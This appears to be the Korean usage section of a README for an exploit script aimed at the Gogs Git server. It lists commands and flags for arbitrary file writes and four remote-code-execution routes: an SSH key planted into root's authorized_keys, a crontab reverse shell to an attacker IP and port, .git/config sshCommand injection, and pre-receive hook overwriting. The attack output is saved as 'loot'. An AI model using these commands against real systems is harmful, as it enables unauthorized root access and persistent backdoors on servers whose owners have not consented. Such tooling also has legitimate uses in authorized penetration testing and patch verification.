# 대상이 취약한지 확인 (자격 증명 불필요)
python3 exploit.py http://target:3000 --check-only

# 전략 A: 루트 접근용 SSH 키 심기
python3 exploit.py http://target:3000 -u user -p pass \
    --rce-keys ~/.ssh/id_rsa.pub --cleanup

# 전략 B: Crontab 리버스 셸
python3 exploit.py http://target:3000 -u user -p pass \
    --rce-cron --lhost 10.10.14.5 --lport 4444

# 전략 C: sshCommand 주입
python3 exploit.py http://target:3000 -u user -p pass \
    --rce-ssh --lhost 10.10.14.5 --lport 4444

# 전략 D: Git 훅 주입
python3 exploit.py http://target:3000 -u user -p pass \
    --rce-hook --lhost 10.10.14.5 --lport 4444

# 일반 파일 쓰기
python3 exploit.py http://target:3000 -u user -p pass \
    --write --target-file /tmp/pwned --content "proof-of-concept"

# 로컬 파일에서 쓰기
python3 exploit.py http://target:3000 -u user -p pass \
    --write --target-file /root/.ssh/authorized_keys \
    --content-file ~/.ssh/id_rsa.pub

target                  Gogs 기본 URL (예: http://target:3000)

인증:
  -u, --user            Gogs 사용자 이름
  -p, --password        Gogs 비밀번호

RCE 전략:
  --rce-keys PUBKEY     SSH 공개키 심기 → /root/.ssh/authorized_keys
  --rce-cron            리버스 셸 → /etc/crontab
  --rce-ssh             .git/config sshCommand 오염 + 트리거
  --rce-hook            pre-receive 훅 덮어쓰기 + 트리거
  --write               일반 임의 파일 쓰기

연결 / 페이로드:
  --lhost LHOST         리버스 셸용 공격자 IP
  --lport LPORT         리버스 셸용 공격자 포트
  --target-file PATH    덮어쓸 서버 경로 (--write 모드)
  --content STRING      쓸 콘텐츠
  --content-file FILE   쓸 로컬 파일

옵션:
  --repo NAME           저장소 이름 (기본값: 랜덤)
  --cleanup             완료 후 익스플로잇 저장소 삭제
  -o, --output FILE     보고서 파일 (기본값: loot.json)
  --timeout SECONDS     요청 타임아웃 (기본값: 15)
  --proxy URL           디버깅용 HTTP 프록시
  --check-only          대상이 Gogs인지만 확인하고 익스플로잇하지 않음